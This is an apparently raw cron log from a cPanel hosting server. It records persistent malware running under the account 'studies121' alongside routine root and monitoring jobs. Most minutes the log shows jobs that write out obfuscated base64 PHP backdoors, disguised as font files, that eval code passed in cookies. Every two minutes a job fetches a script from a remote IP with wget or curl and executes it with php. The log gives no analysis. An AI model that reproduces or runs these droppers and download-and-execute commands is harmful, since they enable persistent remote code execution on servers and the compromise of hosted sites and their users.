Sep 13 01:40:01 ip-184-168-122-23 CROND[25847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:40:01 ip-184-168-122-23 CROND[25851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:40:01 ip-184-168-122-23 CROND[25850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 01:40:01 ip-184-168-122-23 CROND[25845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:40:01 ip-184-168-122-23 CROND[25848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:40:01 ip-184-168-122-23 CROND[25849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:41:01 ip-184-168-122-23 CROND[26024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:41:01 ip-184-168-122-23 CROND[26026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:41:01 ip-184-168-122-23 CROND[26025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:41:01 ip-184-168-122-23 CROND[26027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:42:01 ip-184-168-122-23 CROND[26113]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:42:01 ip-184-168-122-23 CROND[26112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:42:01 ip-184-168-122-23 CROND[26116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:42:01 ip-184-168-122-23 CROND[26117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:42:01 ip-184-168-122-23 CROND[26115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:43:01 ip-184-168-122-23 CROND[26211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:43:01 ip-184-168-122-23 CROND[26212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:43:01 ip-184-168-122-23 CROND[26210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:43:01 ip-184-168-122-23 CROND[26213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:44:01 ip-184-168-122-23 CROND[26321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:44:02 ip-184-168-122-23 CROND[26323]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:44:02 ip-184-168-122-23 CROND[26324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:44:02 ip-184-168-122-23 CROND[26325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:44:02 ip-184-168-122-23 CROND[26326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:45:01 ip-184-168-122-23 CROND[26433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:45:01 ip-184-168-122-23 CROND[26436]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:45:01 ip-184-168-122-23 CROND[26435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:45:01 ip-184-168-122-23 CROND[26437]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:45:01 ip-184-168-122-23 CROND[26439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:45:01 ip-184-168-122-23 CROND[26438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:46:01 ip-184-168-122-23 CROND[26532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:46:01 ip-184-168-122-23 CROND[26538]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 13 01:46:01 ip-184-168-122-23 CROND[26534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:46:01 ip-184-168-122-23 CROND[26536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:46:01 ip-184-168-122-23 CROND[26537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:46:01 ip-184-168-122-23 CROND[26539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:46:01 ip-184-168-122-23 CROND[26535]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 01:47:01 ip-184-168-122-23 CROND[26740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:47:01 ip-184-168-122-23 CROND[26739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:47:01 ip-184-168-122-23 CROND[26741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:47:01 ip-184-168-122-23 CROND[26742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:48:01 ip-184-168-122-23 CROND[26830]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:48:01 ip-184-168-122-23 CROND[26832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:48:01 ip-184-168-122-23 CROND[26833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:48:01 ip-184-168-122-23 CROND[26835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:48:01 ip-184-168-122-23 CROND[26836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:49:01 ip-184-168-122-23 CROND[26930]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 13 01:49:01 ip-184-168-122-23 CROND[26933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:49:01 ip-184-168-122-23 CROND[26932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:49:01 ip-184-168-122-23 CROND[26931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:49:01 ip-184-168-122-23 CROND[26934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:50:01 ip-184-168-122-23 CROND[27053]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 01:50:01 ip-184-168-122-23 CROND[27057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:50:01 ip-184-168-122-23 CROND[27060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:50:01 ip-184-168-122-23 CROND[27062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:50:01 ip-184-168-122-23 CROND[27065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:50:01 ip-184-168-122-23 CROND[27067]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 01:50:01 ip-184-168-122-23 CROND[27071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:50:01 ip-184-168-122-23 CROND[27072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:50:01 ip-184-168-122-23 CROND[27073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:51:01 ip-184-168-122-23 CROND[27238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:51:01 ip-184-168-122-23 CROND[27241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:51:01 ip-184-168-122-23 CROND[27240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:51:01 ip-184-168-122-23 CROND[27239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:52:01 ip-184-168-122-23 CROND[27447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
